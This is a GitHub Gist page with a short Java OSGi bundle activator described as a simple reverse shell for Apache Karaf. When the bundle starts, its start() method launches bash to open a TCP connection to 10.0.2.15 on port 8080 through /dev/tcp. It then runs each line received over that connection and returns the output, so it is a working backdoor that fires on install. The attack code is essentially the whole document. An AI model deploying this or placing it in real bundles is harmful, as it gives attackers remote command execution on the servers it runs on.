Last active
December 6, 2019 03:46
-
-
Save GeneralTesler/b43358bf6b8c4c9fefb4d16fa4449f81 to your computer and use it in GitHub Desktop.
simple reverse shell via OSGi bundle for Karaf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.demo.exec; | |
import org.osgi.framework.BundleActivator; | |
import org.osgi.framework.BundleContext; | |
import java.lang.*; | |
public class ExecActivator implements BundleActivator { | |
@Override | |
public void start(BundleContext bundleContext) throws Exception { | |
System.out.println("STARTING"); | |
ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/10.0.2.15/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"); | |
Process proc = pb.start(); | |
} | |
@Override | |
public void stop(BundleContext bundleContext) throws Exception { | |
System.out.println("STOPPING"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment